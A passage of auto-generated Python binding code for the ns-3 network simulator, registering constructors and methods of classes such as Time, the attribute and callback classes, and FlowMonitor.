'ns3::TypeId', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): uint32_t ns3::SocketSetDontFragmentTag::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): static ns3::TypeId ns3::SocketSetDontFragmentTag::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## socket.h (module 'network'): bool ns3::SocketSetDontFragmentTag::IsEnabled() const [member function] cls.add_method('IsEnabled', 'bool', [], is_const=True) ## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True, is_virtual=True) ## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Serialize(ns3::TagBuffer i) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'i')], is_const=True, is_virtual=True) return def register_Ns3Time_methods(root_module, cls): cls.add_binary_numeric_operator('*', root_module['ns3::Time'], root_module['ns3::Time'], param('int64_t const &', u'right')) cls.add_binary_numeric_operator('+', root_module['ns3::Time'], root_module['ns3::Time'], param('ns3::Time const &', u'right')) cls.add_binary_numeric_operator('-', root_module['ns3::Time'], root_module['ns3::Time'], param('ns3::Time const &', u'right')) cls.add_binary_numeric_operator('/', root_module['ns3::Time'], root_module['ns3::Time'], param('int64_t const &', u'right')) cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('>') cls.add_binary_comparison_operator('!=') cls.add_inplace_numeric_operator('+=', param('ns3::Time const &', u'right')) cls.add_inplace_numeric_operator('-=', param('ns3::Time const &', u'right')) cls.add_output_stream_operator() cls.add_binary_comparison_operator('<=') cls.add_binary_comparison_operator('==') cls.add_binary_comparison_operator('>=') ## nstime.h (module 'core'): ns3::Time::Time() [constructor] cls.add_constructor([]) ## nstime.h (module 'core'): ns3::Time::Time(ns3::Time const & o) [copy constructor] cls.add_constructor([param('ns3::Time const &', 'o')]) ## nstime.h (module 'core'): ns3::Time::Time(double v) [constructor] cls.add_constructor([param('double', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(int v) [constructor] cls.add_constructor([param('int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(long int v) [constructor] cls.add_constructor([param('long int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(long long int v) [constructor] cls.add_constructor([param('long long int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(unsigned int v) [constructor] cls.add_constructor([param('unsigned int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(long unsigned int v) [constructor] cls.add_constructor([param('long unsigned int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(long long unsigned int v) [constructor] cls.add_constructor([param('long long unsigned int', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(ns3::int64x64_t const & v) [constructor] cls.add_constructor([param('ns3::int64x64_t const &', 'v')]) ## nstime.h (module 'core'): ns3::Time::Time(std::string const & s) [constructor] cls.add_constructor([param('std::string const &', 's')]) ## nstime.h (module 'core'): ns3::TimeWithUnit ns3::Time::As(ns3::Time::Unit const unit) const [member function] cls.add_method('As', 'ns3::TimeWithUnit', [param('ns3::Time::Unit const', 'unit')], is_const=True) ## nstime.h (module 'core'): int ns3::Time::Compare(ns3::Time const & o) const [member function] cls.add_method('Compare', 'int', [param('ns3::Time const &', 'o')], is_const=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::From(ns3::int64x64_t const & value) [member function] cls.add_method('From', 'ns3::Time', [param('ns3::int64x64_t const &', 'value')], is_static=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::From(ns3::int64x64_t const & value, ns3::Time::Unit unit) [member function] cls.add_method('From', 'ns3::Time', [param('ns3::int64x64_t const &', 'value'), param('ns3::Time::Unit', 'unit')], is_static=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::FromDouble(double value, ns3::Time::Unit unit) [member function] cls.add_method('FromDouble', 'ns3::Time', [param('double', 'value'), param('ns3::Time::Unit', 'unit')], is_static=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::FromInteger(uint64_t value, ns3::Time::Unit unit) [member function] cls.add_method('FromInteger', 'ns3::Time', [param('uint64_t', 'value'), param('ns3::Time::Unit', 'unit')], is_static=True) ## nstime.h (module 'core'): double ns3::Time::GetDays() const [member function] cls.add_method('GetDays', 'double', [], is_const=True) ## nstime.h (module 'core'): double ns3::Time::GetDouble() const [member function] cls.add_method('GetDouble', 'double', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetFemtoSeconds() const [member function] cls.add_method('GetFemtoSeconds', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): double ns3::Time::GetHours() const [member function] cls.add_method('GetHours', 'double', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetInteger() const [member function] cls.add_method('GetInteger', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetMicroSeconds() const [member function] cls.add_method('GetMicroSeconds', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetMilliSeconds() const [member function] cls.add_method('GetMilliSeconds', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): double ns3::Time::GetMinutes() const [member function] cls.add_method('GetMinutes', 'double', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetNanoSeconds() const [member function] cls.add_method('GetNanoSeconds', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetPicoSeconds() const [member function] cls.add_method('GetPicoSeconds', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): static ns3::Time::Unit ns3::Time::GetResolution() [member function] cls.add_method('GetResolution', 'ns3::Time::Unit', [], is_static=True) ## nstime.h (module 'core'): double ns3::Time::GetSeconds() const [member function] cls.add_method('GetSeconds', 'double', [], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::GetTimeStep() const [member function] cls.add_method('GetTimeStep', 'int64_t', [], is_const=True) ## nstime.h (module 'core'): double ns3::Time::GetYears() const [member function] cls.add_method('GetYears', 'double', [], is_const=True) ## nstime.h (module 'core'): bool ns3::Time::IsNegative() const [member function] cls.add_method('IsNegative', 'bool', [], is_const=True) ## nstime.h (module 'core'): bool ns3::Time::IsPositive() const [member function] cls.add_method('IsPositive', 'bool', [], is_const=True) ## nstime.h (module 'core'): bool ns3::Time::IsStrictlyNegative() const [member function] cls.add_method('IsStrictlyNegative', 'bool', [], is_const=True) ## nstime.h (module 'core'): bool ns3::Time::IsStrictlyPositive() const [member function] cls.add_method('IsStrictlyPositive', 'bool', [], is_const=True) ## nstime.h (module 'core'): bool ns3::Time::IsZero() const [member function] cls.add_method('IsZero', 'bool', [], is_const=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::Max() [member function] cls.add_method('Max', 'ns3::Time', [], is_static=True) ## nstime.h (module 'core'): static ns3::Time ns3::Time::Min() [member function] cls.add_method('Min', 'ns3::Time', [], is_static=True) ## nstime.h (module 'core'): static void ns3::Time::SetResolution(ns3::Time::Unit resolution) [member function] cls.add_method('SetResolution', 'void', [param('ns3::Time::Unit', 'resolution')], is_static=True) ## nstime.h (module 'core'): static bool ns3::Time::StaticInit() [member function] cls.add_method('StaticInit', 'bool', [], is_static=True) ## nstime.h (module 'core'): ns3::int64x64_t ns3::Time::To(ns3::Time::Unit unit) const [member function] cls.add_method('To', 'ns3::int64x64_t', [param('ns3::Time::Unit', 'unit')], is_const=True) ## nstime.h (module 'core'): double ns3::Time::ToDouble(ns3::Time::Unit unit) const [member function] cls.add_method('ToDouble', 'double', [param('ns3::Time::Unit', 'unit')], is_const=True) ## nstime.h (module 'core'): int64_t ns3::Time::ToInteger(ns3::Time::Unit unit) const [member function] cls.add_method('ToInteger', 'int64_t', [param('ns3::Time::Unit', 'unit')], is_const=True) return def register_Ns3TraceSourceAccessor_methods(root_module, cls): ## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor::TraceSourceAccessor(ns3::TraceSourceAccessor const & arg0) [copy constructor] cls.add_constructor([param('ns3::TraceSourceAccessor const &', 'arg0')]) ## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor::TraceSourceAccessor() [constructor] cls.add_constructor([]) ## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::Connect(ns3::ObjectBase * obj, std::string context, ns3::CallbackBase const & cb) const [member function] cls.add_method('Connect', 'bool', [param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')], is_pure_virtual=True, is_const=True, is_virtual=True) ## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::ConnectWithoutContext(ns3::ObjectBase * obj, ns3::CallbackBase const & cb) const [member function] cls.add_method('ConnectWithoutContext', 'bool', [param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('ns3::CallbackBase const &', 'cb')], is_pure_virtual=True, is_const=True, is_virtual=True) ## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::Disconnect(ns3::ObjectBase * obj, std::string context, ns3::CallbackBase const & cb) const [member function] cls.add_method('Disconnect', 'bool', [param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('std::string', 'context'), param('ns3::CallbackBase const &', 'cb')], is_pure_virtual=True, is_const=True, is_virtual=True) ## trace-source-accessor.h (module 'core'): bool ns3::TraceSourceAccessor::DisconnectWithoutContext(ns3::ObjectBase * obj, ns3::CallbackBase const & cb) const [member function] cls.add_method('DisconnectWithoutContext', 'bool', [param('ns3::ObjectBase *', 'obj', transfer_ownership=False), param('ns3::CallbackBase const &', 'cb')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3Trailer_methods(root_module, cls): cls.add_output_stream_operator() ## trailer.h (module 'network'): ns3::Trailer::Trailer() [constructor] cls.add_constructor([]) ## trailer.h (module 'network'): ns3::Trailer::Trailer(ns3::Trailer const & arg0) [copy constructor] cls.add_constructor([param('ns3::Trailer const &', 'arg0')]) ## trailer.h (module 'network'): uint32_t ns3::Trailer::Deserialize(ns3::Buffer::Iterator end) [member function] cls.add_method('Deserialize', 'uint32_t', [param('ns3::Buffer::Iterator', 'end')], is_pure_virtual=True, is_virtual=True) ## trailer.h (module 'network'): uint32_t ns3::Trailer::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## trailer.h (module 'network'): static ns3::TypeId ns3::Trailer::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## trailer.h (module 'network'): void ns3::Trailer::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_pure_virtual=True, is_const=True, is_virtual=True) ## trailer.h (module 'network'): void ns3::Trailer::Serialize(ns3::Buffer::Iterator start) const [member function] cls.add_method('Serialize', 'void', [param('ns3::Buffer::Iterator', 'start')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3AttributeAccessor_methods(root_module, cls): ## attribute.h (module 'core'): ns3::AttributeAccessor::AttributeAccessor(ns3::AttributeAccessor const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeAccessor const &', 'arg0')]) ## attribute.h (module 'core'): ns3::AttributeAccessor::AttributeAccessor() [constructor] cls.add_constructor([]) ## attribute.h (module 'core'): bool ns3::AttributeAccessor::Get(ns3::ObjectBase const * object, ns3::AttributeValue & attribute) const [member function] cls.add_method('Get', 'bool', [param('ns3::ObjectBase const *', 'object'), param('ns3::AttributeValue &', 'attribute')], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeAccessor::HasGetter() const [member function] cls.add_method('HasGetter', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeAccessor::HasSetter() const [member function] cls.add_method('HasSetter', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeAccessor::Set(ns3::ObjectBase * object, ns3::AttributeValue const & value) const [member function] cls.add_method('Set', 'bool', [param('ns3::ObjectBase *', 'object', transfer_ownership=False), param('ns3::AttributeValue const &', 'value')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3AttributeChecker_methods(root_module, cls): ## attribute.h (module 'core'): ns3::AttributeChecker::AttributeChecker(ns3::AttributeChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeChecker const &', 'arg0')]) ## attribute.h (module 'core'): ns3::AttributeChecker::AttributeChecker() [constructor] cls.add_constructor([]) ## attribute.h (module 'core'): bool ns3::AttributeChecker::Check(ns3::AttributeValue const & value) const [member function] cls.add_method('Check', 'bool', [param('ns3::AttributeValue const &', 'value')], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeChecker::Copy(ns3::AttributeValue const & source, ns3::AttributeValue & destination) const [member function] cls.add_method('Copy', 'bool', [param('ns3::AttributeValue const &', 'source'), param('ns3::AttributeValue &', 'destination')], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeChecker::Create() const [member function] cls.add_method('Create', 'ns3::Ptr< ns3::AttributeValue >', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeChecker::CreateValidValue(ns3::AttributeValue const & value) const [member function] cls.add_method('CreateValidValue', 'ns3::Ptr< ns3::AttributeValue >', [param('ns3::AttributeValue const &', 'value')], is_const=True) ## attribute.h (module 'core'): std::string ns3::AttributeChecker::GetUnderlyingTypeInformation() const [member function] cls.add_method('GetUnderlyingTypeInformation', 'std::string', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): std::string ns3::AttributeChecker::GetValueTypeName() const [member function] cls.add_method('GetValueTypeName', 'std::string', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeChecker::HasUnderlyingTypeInformation() const [member function] cls.add_method('HasUnderlyingTypeInformation', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3AttributeValue_methods(root_module, cls): ## attribute.h (module 'core'): ns3::AttributeValue::AttributeValue(ns3::AttributeValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::AttributeValue const &', 'arg0')]) ## attribute.h (module 'core'): ns3::AttributeValue::AttributeValue() [constructor] cls.add_constructor([]) ## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::AttributeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_pure_virtual=True, is_virtual=True) ## attribute.h (module 'core'): std::string ns3::AttributeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3CallbackChecker_methods(root_module, cls): ## callback.h (module 'core'): ns3::CallbackChecker::CallbackChecker() [constructor] cls.add_constructor([]) ## callback.h (module 'core'): ns3::CallbackChecker::CallbackChecker(ns3::CallbackChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::CallbackChecker const &', 'arg0')]) return def register_Ns3CallbackImplBase_methods(root_module, cls): ## callback.h (module 'core'): ns3::CallbackImplBase::CallbackImplBase() [constructor] cls.add_constructor([]) ## callback.h (module 'core'): ns3::CallbackImplBase::CallbackImplBase(ns3::CallbackImplBase const & arg0) [copy constructor] cls.add_constructor([param('ns3::CallbackImplBase const &', 'arg0')]) ## callback.h (module 'core'): std::string ns3::CallbackImplBase::GetTypeid() const [member function] cls.add_method('GetTypeid', 'std::string', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## callback.h (module 'core'): bool ns3::CallbackImplBase::IsEqual(ns3::Ptr<ns3::CallbackImplBase const> other) const [member function] cls.add_method('IsEqual', 'bool', [param('ns3::Ptr< ns3::CallbackImplBase const >', 'other')], is_pure_virtual=True, is_const=True, is_virtual=True) ## callback.h (module 'core'): static std::string ns3::CallbackImplBase::Demangle(std::string const & mangled) [member function] cls.add_method('Demangle', 'std::string', [param('std::string const &', 'mangled')], is_static=True, visibility='protected') return def register_Ns3CallbackValue_methods(root_module, cls): ## callback.h (module 'core'): ns3::CallbackValue::CallbackValue(ns3::CallbackValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::CallbackValue const &', 'arg0')]) ## callback.h (module 'core'): ns3::CallbackValue::CallbackValue() [constructor] cls.add_constructor([]) ## callback.h (module 'core'): ns3::CallbackValue::CallbackValue(ns3::CallbackBase const & base) [constructor] cls.add_constructor([param('ns3::CallbackBase const &', 'base')]) ## callback.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::CallbackValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## callback.h (module 'core'): bool ns3::CallbackValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## callback.h (module 'core'): std::string ns3::CallbackValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## callback.h (module 'core'): void ns3::CallbackValue::Set(ns3::CallbackBase base) [member function] cls.add_method('Set', 'void', [param('ns3::CallbackBase', 'base')]) return def register_Ns3EmptyAttributeAccessor_methods(root_module, cls): ## attribute.h (module 'core'): ns3::EmptyAttributeAccessor::EmptyAttributeAccessor(ns3::EmptyAttributeAccessor const & arg0) [copy constructor] cls.add_constructor([param('ns3::EmptyAttributeAccessor const &', 'arg0')]) ## attribute.h (module 'core'): ns3::EmptyAttributeAccessor::EmptyAttributeAccessor() [constructor] cls.add_constructor([]) ## attribute.h (module 'core'): bool ns3::EmptyAttributeAccessor::Get(ns3::ObjectBase const * object, ns3::AttributeValue & attribute) const [member function] cls.add_method('Get', 'bool', [param('ns3::ObjectBase const *', 'object'), param('ns3::AttributeValue &', 'attribute')], is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::EmptyAttributeAccessor::HasGetter() const [member function] cls.add_method('HasGetter', 'bool', [], is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::EmptyAttributeAccessor::HasSetter() const [member function] cls.add_method('HasSetter', 'bool', [], is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::EmptyAttributeAccessor::Set(ns3::ObjectBase * object, ns3::AttributeValue const & value) const [member function] cls.add_method('Set', 'bool', [param('ns3::ObjectBase *', 'object'), param('ns3::AttributeValue const &', 'value')], is_const=True, is_virtual=True) return def register_Ns3EmptyAttributeChecker_methods(root_module, cls): ## attribute.h (module 'core'): ns3::EmptyAttributeChecker::EmptyAttributeChecker(ns3::EmptyAttributeChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::EmptyAttributeChecker const &', 'arg0')]) ## attribute.h (module 'core'): ns3::EmptyAttributeChecker::EmptyAttributeChecker() [constructor] cls.add_constructor([]) ## attribute.h (module 'core'): bool ns3::EmptyAttributeChecker::Check(ns3::AttributeValue const & value) const [member function] cls.add_method('Check', 'bool', [param('ns3::AttributeValue const &', 'value')], is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::EmptyAttributeChecker::Copy(ns3::AttributeValue const & source, ns3::AttributeValue & destination) const [member function] cls.add_method('Copy', 'bool', [param('ns3::AttributeValue const &', 'source'), param('ns3::AttributeValue &', 'destination')], is_const=True, is_virtual=True) ## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::EmptyAttributeChecker::Create() const [member function] cls.add_method('Create', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## attribute.h (module 'core'): std::string ns3::EmptyAttributeChecker::GetUnderlyingTypeInformation() const [member function] cls.add_method('GetUnderlyingTypeInformation', 'std::string', [], is_const=True, is_virtual=True) ## attribute.h (module 'core'): std::string ns3::EmptyAttributeChecker::GetValueTypeName() const [member function] cls.add_method('GetValueTypeName', 'std::string', [], is_const=True, is_virtual=True) ## attribute.h (module 'core'): bool ns3::EmptyAttributeChecker::HasUnderlyingTypeInformation() const [member function] cls.add_method('HasUnderlyingTypeInformation', 'bool', [], is_const=True, is_virtual=True) return def register_Ns3EmptyAttributeValue_methods(root_module, cls): ## attribute.h (module 'core'): ns3::EmptyAttributeValue::EmptyAttributeValue(ns3::EmptyAttributeValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::EmptyAttributeValue const &', 'arg0')]) ## attribute.h (module 'core'): ns3::EmptyAttributeValue::EmptyAttributeValue() [constructor] cls.add_constructor([]) ## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::EmptyAttributeValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, visibility='private', is_virtual=True) ## attribute.h (module 'core'): bool ns3::EmptyAttributeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], visibility='private', is_virtual=True) ## attribute.h (module 'core'): std::string ns3::EmptyAttributeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, visibility='private', is_virtual=True) return def register_Ns3EventImpl_methods(root_module, cls): ## event-impl.h (module 'core'): ns3::EventImpl::EventImpl(ns3::EventImpl const & arg0) [copy constructor] cls.add_constructor([param('ns3::EventImpl const &', 'arg0')]) ## event-impl.h (module 'core'): ns3::EventImpl::EventImpl() [constructor] cls.add_constructor([]) ## event-impl.h (module 'core'): void ns3::EventImpl::Cancel() [member function] cls.add_method('Cancel', 'void', []) ## event-impl.h (module 'core'): void ns3::EventImpl::Invoke() [member function] cls.add_method('Invoke', 'void', []) ## event-impl.h (module 'core'): bool ns3::EventImpl::IsCancelled() [member function] cls.add_method('IsCancelled', 'bool', []) ## event-impl.h (module 'core'): void ns3::EventImpl::Notify() [member function] cls.add_method('Notify', 'void', [], is_pure_virtual=True, visibility='protected', is_virtual=True) return def register_Ns3FlowClassifier_methods(root_module, cls): ## flow-classifier.h (module 'flow-monitor'): ns3::FlowClassifier::FlowClassifier() [constructor] cls.add_constructor([]) ## flow-classifier.h (module 'flow-monitor'): void ns3::FlowClassifier::SerializeToXmlStream(std::ostream & os, int indent) const [member function] cls.add_method('SerializeToXmlStream', 'void', [param('std::ostream &', 'os'), param('int', 'indent')], is_pure_virtual=True, is_const=True, is_virtual=True) ## flow-classifier.h (module 'flow-monitor'): ns3::FlowId ns3::FlowClassifier::GetNewFlowId() [member function] cls.add_method('GetNewFlowId', 'ns3::FlowId', [], visibility='protected') return def register_Ns3FlowMonitor_methods(root_module, cls): ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowMonitor(ns3::FlowMonitor const & arg0) [copy constructor] cls.add_constructor([param('ns3::FlowMonitor const &', 'arg0')]) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowMonitor() [constructor] cls.add_constructor([]) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::AddFlowClassifier(ns3::Ptr<ns3::FlowClassifier> classifier) [member function] cls.add_method('AddFlowClassifier', 'void', [param('ns3::Ptr< ns3::FlowClassifier >', 'classifier')]) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::AddProbe(ns3::Ptr<ns3::FlowProbe> probe) [member function] cls.add_method('AddProbe', 'void', [param('ns3::Ptr< ns3::FlowProbe >', 'probe')]) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::CheckForLostPackets() [member function] cls.add_method('CheckForLostPackets', 'void', []) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::CheckForLostPackets(ns3::Time maxDelay) [member function] cls.add_method('CheckForLostPackets', 'void', [param('ns3::Time', 'maxDelay')]) ## flow-monitor.h (module 'flow-monitor'): std::vector<ns3::Ptr<ns3::FlowProbe>, std::allocator<ns3::Ptr<ns3::FlowProbe> > > const & ns3::FlowMonitor::GetAllProbes() const [member function] cls.add_method('GetAllProbes', 'std::vector< ns3::Ptr< ns3::FlowProbe > > const &', [], is_const=True) ## flow-monitor.h (module 'flow-monitor'): std::map<unsigned int, ns3::FlowMonitor::FlowStats, std::less<unsigned int>, std::allocator<std::pair<unsigned int const, ns3::FlowMonitor::FlowStats> > > const & ns3::FlowMonitor::GetFlowStats() const [member function] cls.add_method('GetFlowStats', 'std::map< unsigned int, ns3::FlowMonitor::FlowStats > const &', [], is_const=True) ## flow-monitor.h (module 'flow-monitor'): ns3::TypeId ns3::FlowMonitor::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_const=True, is_virtual=True) ## flow-monitor.h (module 'flow-monitor'): static ns3::TypeId ns3::FlowMonitor::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::ReportDrop(ns3::Ptr<ns3::FlowProbe> probe, ns3::FlowId flowId, ns3::FlowPacketId packetId, uint32_t packetSize, uint32_t reasonCode) [member function] cls.add_method('ReportDrop', 'void', [param('ns3::Ptr< ns3::FlowProbe >', 'probe'), param('ns3::FlowId', 'flowId'), param('ns3::FlowPacketId', 'packetId'), param('uint32_t', 'packetSize'), param('uint32_t', 'reasonCode')]) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::ReportFirstTx(ns3::Ptr<ns3::FlowProbe> probe, ns3::FlowId flowId, ns3::FlowPacketId packetId, uint32_t packetSize) [member function] cls.add_method('ReportFirstTx', 'void', [param('ns3::Ptr< ns3::FlowProbe >', 'probe'), param('ns3::FlowId', 'flowId'), param('ns3::FlowPacketId', 'packetId'), param('uint32_t', 'packetSize')]) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::ReportForwarding(ns3::Ptr<ns3::FlowProbe> probe, ns3::FlowId flowId, ns3::FlowPacketId packetId, uint32_t packetSize) [member function] cls.add_method('ReportForwarding', 'void', [param('ns3::Ptr< ns3::FlowProbe >', 'probe'), param('ns3::FlowId', 'flowId'), param('ns3::FlowPacketId', 'packetId'), param('uint32_t', 'packetSize')]) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::ReportLastRx(ns3::Ptr<ns3::FlowProbe> probe, ns3::FlowId flowId, ns3::FlowPacketId packetId, uint32_t packetSize) [member function] cls.add_method('ReportLastRx', 'void', [param('ns3::Ptr< ns3::FlowProbe >', 'probe'), param('ns3::FlowId', 'flowId'), param('ns3::FlowPacketId', 'packetId'), param('uint32_t', 'packetSize')]) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::SerializeToXmlFile(std::string fileName, bool enableHistograms, bool enableProbes) [member function] cls.add_method('SerializeToXmlFile', 'void', [param('std::string', 'fileName'), param('bool', 'enableHistograms'), param('bool', 'enableProbes')]) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::SerializeToXmlStream(std::ostream & os, int indent, bool enableHistograms, bool enableProbes) [member function] cls.add_method('SerializeToXmlStream', 'void', [param('std::ostream &', 'os'), param('int', 'indent'), param('bool', 'enableHistograms'), param('bool', 'enableProbes')]) ## flow-monitor.h (module 'flow-monitor'): std::string ns3::FlowMonitor::SerializeToXmlString(int indent, bool enableHistograms, bool enableProbes) [member function] cls.add_method('SerializeToXmlString', 'std::string', [param('int', 'indent'), param('bool', 'enableHistograms'), param('bool', 'enableProbes')]) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::Start(ns3::Time const & time) [member function] cls.add_method('Start', 'void', [param('ns3::Time const &', 'time')]) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::StartRightNow() [member function] cls.add_method('StartRightNow', 'void', []) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::Stop(ns3::Time const & time) [member function] cls.add_method('Stop', 'void', [param('ns3::Time const &', 'time')]) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::StopRightNow() [member function] cls.add_method('StopRightNow', 'void', []) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) ## flow-monitor.h (module 'flow-monitor'): void ns3::FlowMonitor::NotifyConstructionCompleted() [member function] cls.add_method('NotifyConstructionCompleted', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3FlowMonitorFlowStats_methods(root_module, cls): ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::FlowStats() [constructor] cls.add_constructor([]) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::FlowStats(ns3::FlowMonitor::FlowStats const & arg0) [copy constructor] cls.add_constructor([param('ns3::FlowMonitor::FlowStats const &', 'arg0')]) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats::bytesDropped 